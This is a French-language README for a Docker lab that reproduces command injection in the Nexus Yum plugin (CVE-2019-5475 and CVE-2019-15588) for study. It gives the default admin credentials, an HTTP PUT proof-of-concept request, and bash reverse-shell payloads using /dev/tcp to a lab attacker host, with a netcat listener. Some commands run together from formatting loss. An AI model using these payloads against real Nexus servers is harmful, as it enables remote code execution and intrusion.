
CVE-2019-5475 靶场: RCE 命令注入漏洞
Laboratoire CVE-2019-5475 et CVE-2019-15588 : vulnérabilité d'injection de commandes RCE
CVE-2019-5475 est une vulnérabilité d'injection de commandes RCE dans le plugin intégré Yum Repository de Nexus, divulguée pour la première fois sur hackerone. Cependant, étant donné que le correctif officiel initial était incomplet, la vulnérabilité CVE-2019-15588 a été dérivée.
Ces deux vulnérabilités nécessitent une connexion en tant qu'admin pour être exploitées. Mais le mot de passe administrateur par défaut de Nexus, admin123, est souvent oublié et non modifié, ce qui facilite l'exploitation.
CVE-2019-5475
├── nexus-yum-core .......... [Projet Maven pour le débogage : simule la saisie de createrepo ou mergerepo dans l'interface graphique Nexus]
├── nexus ................... [Répertoire de données monté pour le conteneur Nexus]
├── attacker ................ [Répertoire de construction de la machine attaquante]
│ └── Dockerfile .......... [Fichier Docker pour la construction de la machine attaquante]
├── docker-compose.yml ...... [Fichier de configuration Docker Compose]
├── imgs .................... [Images d'illustration pour le README]
└── README.md ............... [Ce fichier README]
cd CVE-2019-5475docker-compose up -dadmin/admin123), avec les URLs suivantes :| Nexus | CVE | URL |
|---|---|---|
| 2.14.9 | CVE-2019-5475 | http://127.0.0.1:8009/nexus |
| 2.14.14 | CVE-2019-15588 | http://127.0.0.1:8014/nexus |
Ce laboratoire inclut également une machine attaquante 172.168.50.2, située sur le même réseau que les deux cibles, utilisée pour valider le reverse shell.
Connectez-vous en tant qu'admin sur http://127.0.0.1:8009/nexus/#capabilities, puis dans Administration -> Capabilities -> Yum: Configuration -> Settings, vous trouverez le point d'injection RCE.
Les champs de saisie Path of "createrepo" et Path of "mergerepo" sont tous deux injectables. Le résultat de l'exécution peut être consulté dans Status.
Par exemple, en construisant le PoC bash -c id || python dans le champ d'injection createrepo, vous obtiendrez le résultat de la commande bash -c id dans Status : uid=200(nexus) gid=200(nexus) groups=200(nexus).
Avec BurpSuite, vous pouvez intercepter la requête PoC correspondante :
PUT /nexus/service/siesta/capabilities/RANDOM_ID HTTP/1.1
Host: 127.0.0.1:8009
accept: application/json
Content-Type: application/json
Authorization: Basic YWRtaW46YWRtaW4xMjM=
Connection: close
{"typeId":"yum","enabled":true,"properties":[{"key":"createrepoPath","value":"bash -c id || python"}],"id":"RANDOM_ID"}


Ce point d'injection peut être facilement exploité pour créer un reverse shell :
docker exec -it -u root docker_attacker /bin/bashnc -lvvp 4444createrepo, construisez la payload : bash -c $@|bash 0 echo bash -i >&/dev/tcp/172.168.50.2/4444 0>&1 || python
Le point d'injection est le même que pour CVE-2019-5475. Ajustez le PoC en : /bin/bash -c id || /createrepo


Cette vulnérabilité peut être exploitée de la même manière pour un reverse shell :
docker exec -it -u root docker_attacker /bin/bashnc -lvvp 4444createrepo, construisez la payload : /bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/172.168.50.2/4444 0>&1 || /createrepo
nexus-yum-core est le fragment de code principal de Nexus lié à cette exploitation. Il est principalement utilisé pour déboguer et analyser directement les payloads depuis le backend, sans avoir à construire un service Nexus complet à partir des sources.
